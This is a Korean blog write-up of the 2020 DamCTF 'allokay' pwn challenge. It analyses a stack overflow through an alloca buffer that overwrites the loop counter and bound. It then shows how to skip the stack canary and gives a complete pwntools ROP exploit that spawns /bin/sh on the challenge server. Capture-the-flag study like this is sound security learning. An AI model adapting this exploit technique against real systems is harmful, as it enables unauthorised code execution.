tmxklab

2020 DamCTF - allokay(pwn) 본문

CTF 문제

2020 DamCTF - allokay(pwn)

tmxk4221 2020. 10. 15. 21:16

1. 문제 확인

 

실행시켜보면 이상한 점이 있다. 원하는 숫자를 입력하라길레 10을 넣었는데 10번 반복되지 않고 6번만 반복되고 종료된다.

 

 

1) mitigation 확인

 

 

2-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
	int number; // [rsp+Ch] [rbp-4h]

	puts("How many favorite numbers do you have?");
	fgets(buffer, 20, stdin);
	number = atoi(buffer);
	if ( number > 100 || number <= 0 )
	{
		puts("Huh?");
        	exit(0);
	}
	puts("Please enter the numbers!");
	get_input(number);
	return 0;
}

0 ~ 100으로 입력 값이 제한되어 있다. (number)

 

 

2-2) get_input()

unsigned __int64 __fastcall get_input(int number)
{
  void *v1; // rsp
  int num; // [rsp+Ch] [rbp-24h]
  unsigned int i; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  num = number;
  v6 = __readfsqword(0x28u);
  v1 = alloca(16 * ((number + 30LL) / 0x10uLL));
  v5 = 16 * (((unsigned __int64)&num + 3) >> 4);
  for ( i = 0; (int)i < num; ++i )
  {
    printf("Enter number %d/%d: ", i, (unsigned int)num);
    __isoc99_scanf("%ld", 8LL * (int)i + v5);
  }
  return __readfsqword(0x28u) ^ v6;
}

v1, v5에 값을 초기화하는 것은 신경쓰지말고 for문을 보면 처음 main함수에서 입력받은 숫자만큼 for문이 반복되고 scanf로 입력을 받는다. → 그럼 10번 반복되어야 하는데 6번만 반복되고 종료된다.(이상함)

 

 

2-3) win()

rdi에 execve()의 파라미터로 들어가고 execve()가 실행된다. 이거를 이용해서 rdi에 "/bin/sh"문자열을 가리키면 될 것 같다.

 


2. 문제풀이

아까 처음에 10을 입력했는데 6번만 반복된 이유를 살펴보자

 

 

다음은 5번 for문이 반복되고 난 스택 상황이다.

  • i[rbp-0x14] : 0x4
  • num[rbp-0x24] : 0xa

scanf를 통해서 0x7fffffffdea0부터 값을 채워나가고 있는데 여기서 한 번더 채우면 0xa를 건드리게 된다.

한 번더 입력을 받고 나니 num이 0으로 세팅되고 for문이 종료된다.

 

따라서, 6번 입력을 받을 때 num가 i의 값보다 높게 세팅해야 한다. 추가적으로 canary[rbp-0x8]가 있으므로 i의 값도 건드려서 canary를 건너띄게 하면 된다. ㅋㅋ루삥뽕, 그러면 rop를 진행할 수 있따.

 

공격 프로세스)

  • num값을 i보다 크게 세팅해서 for문이 계속 돌 수 있도록 하기
  • i의 값을 건드려서 canary에 값이 세팅되지 않도록 건너띄기
  • rop로 조지기
    • scanf로 bss영역 아무데다가 "/bin/sh"문자열 박기
    • pop rdi ; ret ;가젯을 이용해서 "/bin/sh"문자열 가져오기
    • win함수 실행

 

익스코드)

from pwn import *

context.log_level = "debug"

#p = process("allokay")
p = remote("chals.damctf.xyz", 32575)
#gdb.attach(p)

pop_rdi = 0x400933
ld = 0x40096d
pop_rsi = 0x400931
bss_addr = 0x6010a0
scanf_got = 0x400660
win_addr = 0x400767
val_v3 = 0x1400000000
val_i = 0xa00000000
binsh = 0x68732f6e69622f

p.sendlineafter("have?\n", str(10))

p.sendlineafter("numbers!\n", str(0))

for i in range(4):
    p.sendlineafter("0: ", str(i))

# ROP
p.sendlineafter("0: ", str(val_v3)) # v3
#pause()
p.sendlineafter("0: ", str(7))
#pause()
p.sendlineafter("0: ", str(val_i)) # i
#pause()
p.sendlineafter("0: ", str(pop_rdi))    
#pause()
p.sendlineafter("0: ", str(ld))  
#pause()
p.sendlineafter("0: ", str(pop_rsi))     
#pause()
p.sendlineafter("0: ", str(bss_addr))    
#pause()
p.sendlineafter("0: ", str(1))    
#pause()
p.sendlineafter("0: ", str(scanf_got))    
#pause()
p.sendlineafter("0: ", str(pop_rdi))    
#pause()
p.sendlineafter("0: ", str(bss_addr))    
#pause()
p.sendlineafter("0: ", str(win_addr))    

sleep(1)
#pause()
p.sendline(str(binsh))


p.interactive()

참고로 여기서 setvbuf를 사용해서 바로 출력해주지 않아서 디버깅할 때 보면 나중에 한꺼번에 출력해준다. 그래서 pause를 걸고 디버깅했다.

 

 

실행 결과)

'CTF 문제' 카테고리의 다른 글

2020 DamCTF - schlage(rev)  (0) 2020.10.15
2020 DamCTF - side-channel(misc)  (0) 2020.10.15
2020 DamCTF - ghostbusters(pwn)  (2) 2020.10.15
2020 DownUnderCTF - [misc] homepage  (0) 2020.09.21
2020 DownUnderCTF - [forensic] On the spectrum  (0) 2020.09.21
Comments